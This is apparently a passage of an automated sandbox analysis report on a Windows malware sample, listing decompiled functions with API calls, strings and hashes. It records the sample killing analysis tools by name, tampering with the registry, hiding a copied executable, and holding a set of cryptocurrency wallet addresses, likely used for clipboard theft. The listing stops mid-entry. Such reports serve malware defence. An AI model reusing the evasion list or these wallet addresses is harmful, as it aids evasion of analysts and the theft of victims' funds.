Part of subcall function 00007FF795D310A0: CreateFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D30057), ref: 00007FF795D310E8
Part of subcall function 00007FF795D310A0: SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D30057), ref: 00007FF795D31125
Part of subcall function 00007FF795D310A0: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF795D30057), ref: 00007FF795D31130

Part of subcall function 00007FF795D302E0: RegOpenKeyExW.ADVAPI32 ref: 00007FF795D30323
Part of subcall function 00007FF795D302E0: RegSetValueExW.ADVAPI32 ref: 00007FF795D30359
Part of subcall function 00007FF795D302E0: RegCloseKey.ADVAPI32 ref: 00007FF795D30368

Part of subcall function 00007FF795D30C08: RegDeleteKeyW.ADVAPI32 ref: 00007FF795D30C20

Part of subcall function 00007FF795D30E78: CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF795D30E8B

Part of subcall function 00007FF795D30E78: Process32FirstW.KERNEL32 ref: 00007FF795D30EB5
Part of subcall function 00007FF795D30E78: CloseHandle.KERNEL32 ref: 00007FF795D30EC4

Part of subcall function 00007FF795D30E78: wcscmp.MSVCRT ref: 00007FF795D30ED9
Part of subcall function 00007FF795D30E78: OpenProcess.KERNEL32 ref: 00007FF795D30EEF
Part of subcall function 00007FF795D30E78: TerminateProcess.KERNEL32 ref: 00007FF795D30F09
Part of subcall function 00007FF795D30E78: CloseHandle.KERNEL32 ref: 00007FF795D30F14
Part of subcall function 00007FF795D30E78: Process32NextW.KERNEL32 ref: 00007FF795D30F24
Part of subcall function 00007FF795D30E78: CloseHandle.KERNEL32 ref: 00007FF795D30F33

Part of subcall function 00007FF795D30F48: RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF795D30830), ref: 00007FF795D30F77

Sleep.KERNEL32 ref: 00007FF795D30106

Strings

idaq64.exe, xrefs: 00007FF795D300BE
TOTALCMD.exe, xrefs: 00007FF795D300A6
autoruns.exe, xrefs: 00007FF795D300D6
ProcessHacker.exe, xrefs: 00007FF795D30082
Services, xrefs: 00007FF795D300F5
procmon.exe, xrefs: 00007FF795D300E2
procexp64.exe, xrefs: 00007FF795D3009A
x64dbg.exe, xrefs: 00007FF795D300B2
procexp.exe, xrefs: 00007FF795D3008E
idaq.exe, xrefs: 00007FF795D300CA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Close$Handle$Open$CreateFileProcessProcess32$AttributesDeleteFirstNextSleepSnapshotTerminateToolhelp32Valuewcscmp
String ID: ProcessHacker.exe$Services$TOTALCMD.exe$autoruns.exe$idaq.exe$idaq64.exe$procexp.exe$procexp64.exe$procmon.exe$x64dbg.exe
API String ID: 2853470409-928700279
Opcode ID: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction ID: 39031e8a7c78aee660ea77038ec4ea58e120370a1b45adc25225170123ebe759
Opcode Fuzzy Hash: fe3a8ccc8966489c9bf42d5c7acf8396356c702022448553b11e78d999c2d4d6
Instruction Fuzzy Hash: 6F219021E5842691FA60BB36ECD11BCA7E0AF60F58FC06571E40D921E6DE3CA54AC3A0

Function 00007FF795D30C44 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 42stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF795D30D0C: GetWindowsDirectoryA.KERNEL32 ref: 00007FF795D30D41
Part of subcall function 00007FF795D30D0C: GetVolumeInformationA.KERNEL32 ref: 00007FF795D30DCF
Part of subcall function 00007FF795D30D0C: wsprintfA.USER32 ref: 00007FF795D30E5E

SHGetFolderPathA.SHELL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30C85
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30C97
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CA7
CreateDirectoryA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CB4
SetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CC4
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CD6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CE6
lstrcat.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF795D2DE7D), ref: 00007FF795D30CF8

Strings

.exe, xrefs: 00007FF795D30CEC

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction ID: f58b1da45d110e40b0c63e0567a5f2788cf54750d556269eb1fe430aa739fd65
Opcode Fuzzy Hash: 1e0782898900f0c9169d678093e814d4bf1776dfe6d0791ba9bb1146b86bc58f
Instruction Fuzzy Hash: 20110021A2C95697DB50AB35F89456AA3A2FBC4B54F907032EA4E43A7CDE3CD446CB10

Function 00007FF795D2FE30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 32synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?,?,?,?,00007FF795D2FDC9), ref: 00007FF795D2FE49
ReleaseMutex.KERNEL32 ref: 00007FF795D2FE61
CloseHandle.KERNEL32 ref: 00007FF795D2FE6C
GetLastError.KERNEL32 ref: 00007FF795D2FE79
ReleaseMutex.KERNEL32 ref: 00007FF795D2FE8B
CloseHandle.KERNEL32 ref: 00007FF795D2FE96

Strings

rbNSpGEsyb, xrefs: 00007FF795D2FE34

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID: rbNSpGEsyb
API String ID: 299056699-189039185
Opcode ID: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction ID: 8ac8fe03f76b1480d2f8949fa0c08278b461a00d307ffacbf7b534cffcabc88b
Opcode Fuzzy Hash: 46ba0cd2de08216aef1d8b73fc81ba437baef2bc7f4b68b9de387672fb1d2dc8
Instruction Fuzzy Hash: 1201712691CA5282E770AB31F8D5229A3B0FBC8F55F842576D68E42678CF3CD555C620

Function 00007FF795D15B38 Relevance: 15.5, APIs: 1, Strings: 9, Instructions: 475sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF795D1D8F4: shared_ptr.LIBCPMTD ref: 00007FF795D1D926

Part of subcall function 00007FF795D1D7D0: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF795D1D7FF

Part of subcall function 00007FF795D15A5C: Concurrency::details::VirtualProcessorRoot::GetSchedulerProxy.LIBCMTD ref: 00007FF795D15A9D

Part of subcall function 00007FF795D13920: shared_ptr.LIBCPMTD ref: 00007FF795D13940

Part of subcall function 00007FF795D159B8: GlobalAlloc.KERNEL32 ref: 00007FF795D159DF
Part of subcall function 00007FF795D159B8: GlobalLock.KERNEL32 ref: 00007FF795D159FE
Part of subcall function 00007FF795D159B8: GlobalUnlock.KERNEL32 ref: 00007FF795D15A1B

Sleep.KERNEL32 ref: 00007FF795D166A9

Strings

XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH, xrefs: 00007FF795D16600
LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx, xrefs: 00007FF795D15FBA
bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze, xrefs: 00007FF795D16100
rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv, xrefs: 00007FF795D1638C
addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0, xrefs: 00007FF795D16246
TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb, xrefs: 00007FF795D15E74
0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe, xrefs: 00007FF795D15D2E
DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5, xrefs: 00007FF795D164D2
13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV, xrefs: 00007FF795D15BF1

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Global$shared_ptr$AllocConcurrency::details::Decorator::getLockProcessorProxyRoot::SchedulerSleepTableTypeUnlockVirtual
String ID: 0x6f5d22258243f738460e0e4fe1f8c0fa58ce9abe$13MUDpYmziJo8zMD2743Ygch5c1ae8QiNV$DU8bbCYGxj3be3XDMiipMJdFFGHgwDzLB5$LQwgkF3f1AAZZ3WuewhRobt2h15NWfivtx$TBid7Hs8NBHCPytFMgKc3VTvzFgL5KPMbb$XuLskqV3efHE8eaJDu8oeeLoUn6hHpUAyH$addr18kvGyaCauRTSejv3qoSvmsXBGn77NhdfFjj3s9l2ccgr2fqzs9p7cl8rr2ckq4c7emm9uaa0s7ynk32ysaxmr5xaazqj4gex0$bitcoincash:qr7r9w340hvnxqjm2cjpj3kd0s7kfz02ks5su6hrze$rNcd1L9tTLohuJh45vUtcisKcgGJTCtnTv
API String ID: 2382078925-3773165574
Opcode ID: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction ID: 428b9d20fc872077089526690c08c182e5bbb8451a760fbd30c6921b96358b0c
Opcode Fuzzy Hash: 21d35d6f7c0a6df29142ddf1a1bf3c38aef0ed986b01762a66452d2035f17931
Instruction Fuzzy Hash: 7142923660DBD190DA75EB25F4902EAB3A5FBC8B80F805136DA8D47B5AEF2CD144CB50

Function 00007FF795D3796B Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 00007FF795D37996
RaiseException.KERNEL32 ref: 00007FF795D379BF
__DestructExceptionObject.LIBCMT ref: 00007FF795D37A20
_getptd.LIBCMT ref: 00007FF795D37973

Part of subcall function 00007FF795D3572C: _getptd_noexit.LIBCMT ref: 00007FF795D35732

_getptd.LIBCMT ref: 00007FF795D37A25
_getptd.LIBCMT ref: 00007FF795D37A31

Strings

csm, xrefs: 00007FF795D379F3

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Exception_getptd$DestructObject$Raise_getptd_noexit
String ID: csm
API String ID: 2851507484-1018135373
Opcode ID: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction ID: 8a021628e8b8212053ade76f6e9d7d6775b15000fb2b68f2b22b13607d274801
Opcode Fuzzy Hash: 64d00ee2830e9379cd3ef173d90ae30a9ca42842e8ef135b9074179a121e00c4
Instruction Fuzzy Hash: 99212C7660865182D630EF25E08036EB7A0F785FA9F445231DE9D07795DF3DE585CB20

Function 00007FF795D1CA20 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF795D1CA30

Part of subcall function 00007FF795D40610: _lock.LIBCMT ref: 00007FF795D40622

__int64.LIBCPMTD ref: 00007FF795D1CA48

Part of subcall function 00007FF795D1F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF795D1F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF795D1CA5F

Strings

bad cast, xrefs: 00007FF795D1CAA2

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction ID: 53dee408e4e0c834a501b17930bc9e57cca26fa9d0e61dfad506b9a8ff112bfb
Opcode Fuzzy Hash: 6686d453f540abfc75b9a040e882549689efe832026ee8754cd51114fbe3f1ce
Instruction Fuzzy Hash: C521FE2251CA5581DA70EB25F4D026AF3E0FB84BA4F906231EA9E437B9DF3CD545CB10

Function 00007FF795D1C920 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF795D1C930

Part of subcall function 00007FF795D40610: _lock.LIBCMT ref: 00007FF795D40622

__int64.LIBCPMTD ref: 00007FF795D1C948

Part of subcall function 00007FF795D1F6EC: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF795D1F707

std::locale::_Getfacet.LIBCPMTD ref: 00007FF795D1C95F

Strings

bad cast, xrefs: 00007FF795D1C9A2

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: LockitLockit::_std::_$Getfacet__int64_lockstd::locale::_
String ID: bad cast
API String ID: 1826629674-3145022300
Opcode ID: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction ID: 8ea96d18ac44de332d11e4b9e5e9ec668cf93ff01b1a8cd2681b243f01053ac4
Opcode Fuzzy Hash: 932e2d8308b347af2fb822a83c7166a45b16841b8f045a10c064c8219c059d73
Instruction Fuzzy Hash: B321FD2251CA5581DA70EB25F4C026AF3E0FB84BA4F906232EA9E437B9DF3CD545CB50

Function 00007FF795D363C4 Relevance: 12.2, APIs: 8, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 00007FF795D363ED

Part of subcall function 00007FF795D34254: malloc.LIBCMT ref: 00007FF795D3427F
Part of subcall function 00007FF795D34254: Sleep.KERNEL32(?,?,?,00007FF795D3AD9C,?,?,?,00007FF795D3AC9B,?,?,00000000,00007FF795D35832,?,?,00000000,00007FF795D357A6), ref: 00007FF795D34292

free.LIBCMT ref: 00007FF795D364EE
free.LIBCMT ref: 00007FF795D3650A

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction ID: 3208dd24aef2df6338e84e765c0a9385e5ca3275e81754d4b5dcde6d1fb7b006
Opcode Fuzzy Hash: 9dc3a43cf0aa1fcfdc29037b235636b50873e9ffe005ada4d84142dea13232af
Instruction Fuzzy Hash: 9A619126B08B6192EA34AF26F980269B3E0FB84F98F845135DE4D07B55DF3CE466C350

Function 00007FF795D31D88 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D31DA5
_errno.LIBCMT ref: 00007FF795D31D9A

Part of subcall function 00007FF795D359A4: _getptd_noexit.LIBCMT ref: 00007FF795D359A8

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00007FF795D31DED
_errno.LIBCMT ref: 00007FF795D31DFC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF795D31E07

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction ID: 729cbd9a5d864f173f3aa52b6ccb47841da140a57d4f0f93166782017c4842e4
Opcode Fuzzy Hash: 64063577f5759fc087550664f9166848bfe9c81f154bd90bd0409ab7649f8bd4
Instruction Fuzzy Hash: DF21E652E0C6A382EB7077B1A0C0379D2E0AF84F98F906230E55D067CDDE7DD5458720

Function 00007FF795D2FEC8 Relevance: 12.0, APIs: 8, Instructions: 31synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32 ref: 00007FF795D2FEDA
ReleaseMutex.KERNEL32 ref: 00007FF795D2FEF2
CloseHandle.KERNEL32 ref: 00007FF795D2FEFD
GetLastError.KERNEL32 ref: 00007FF795D2FF0A
ReleaseMutex.KERNEL32 ref: 00007FF795D2FF1C
CloseHandle.KERNEL32 ref: 00007FF795D2FF27

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Mutex$CloseHandleRelease$CreateErrorLast
String ID:
API String ID: 299056699-0
Opcode ID: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction ID: f6646fc7d8c5ad2e252b1682fee77c4eee32f257b9ffc1bb7b8348aadf26e7df
Opcode Fuzzy Hash: fded58dde77be56de6fab05177e5339cc4062db6b0d45a6a30c187912645d6f3
Instruction Fuzzy Hash: 9401922691CA9282F730AB31F8D5229A3B0FBC9F45F841575EA8E46668CF3CD955C720

Function 00007FF795D25414 Relevance: 10.7, APIs: 7, Instructions: 247COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D254C1
type_info::_name_internal_method.LIBCMTD ref: 00007FF795D2550A
_Ucopy.LIBCPMTD ref: 00007FF795D2559E
_Ucopy.LIBCPMTD ref: 00007FF795D255E8

Part of subcall function 00007FF795D1FA80: UnDecorator::getVbTableType.LIBCMTD ref: 00007FF795D1FAAA

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Ucopy$Decorator::getMtx_guardMtx_guard::~_TableTypetype_info::_name_internal_method
String ID:
API String ID: 4074051914-0
Opcode ID: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction ID: cf02b99f7b08ab353202b64eb28d1af362c8ae52c00b3807d63f1f8eab7123cf
Opcode Fuzzy Hash: f014fbc6859682eefceef7ecbbf1b7741ac91cddb56665be6d968ce3dc7cad67
Instruction Fuzzy Hash: 1FD19426609BC985DA70DB5AE4903AAB3A1F7C9BC0F905126DECD87B69DF38D444CB01

Function 00007FF795D18980 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D18A16
type_info::_name_internal_method.LIBCMTD ref: 00007FF795D18A53
_Ucopy.LIBCPMTD ref: 00007FF795D18A7E
_Ucopy.LIBCPMTD ref: 00007FF795D18AA2
_Ucopy.LIBCPMTD ref: 00007FF795D18AC4
_aligned_msize.LIBCMTD ref: 00007FF795D18B47

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction ID: 92735dad5d8e20f9f25cf3d82f038fcf7df6ec70cbce91ce4eabb15ab8382422
Opcode Fuzzy Hash: 09518546536a787895912284108b7650a63c47b0a4a23c6140e26a573662d104
Instruction Fuzzy Hash: AD719826A18B84C2DA60DB2AE49026EA7A0F7C8BD4F505136EF8D43B69CF3CD541CF00

Function 00007FF795D18C60 Relevance: 10.6, APIs: 7, Instructions: 141COMMON

Download Yara Rule

APIs

_Mtx_guard::~_Mtx_guard.LIBCPMTD ref: 00007FF795D18CF6
type_info::_name_internal_method.LIBCMTD ref: 00007FF795D18D33
_Ucopy.LIBCPMTD ref: 00007FF795D18D5E
_Ucopy.LIBCPMTD ref: 00007FF795D18D82
_Ucopy.LIBCPMTD ref: 00007FF795D18DA4
_aligned_msize.LIBCMTD ref: 00007FF795D18E27

Memory Dump Source

Source File: 00000000.00000002.2091705761.00007FF795D11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF795D10000, based on PE: true

Associated: 00000000.00000002.2091636333.00007FF795D10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091807023.00007FF795D46000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091842185.00007FF795D54000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091913029.00007FF795D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093030267.00007FF795D61000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff795d10000_52kYJGCon6.jbxd

Similarity

API ID: Ucopy$Mtx_guardMtx_guard::~__aligned_msizetype_info::_name_internal_method
String ID:
API String ID: 1928733530-0
Opcode ID: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction ID: 208a11dc235357261a4cdf97e5bc5879a44f30b49306e24bdd12a26d2a0e2a0a
Opcode Fuzzy Hash: 4325eb878f5f8b404332b1c80043bf9b581a45e85f0c9479c12b2f4d25b8355e
Instruction Fuzzy Hash: 71718826A18B94C2DA60DB6AE49026EA7A0F7C8BD4F505136EF8D43B69CF3CD541CF10

Function 00007FF795D3F30C Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

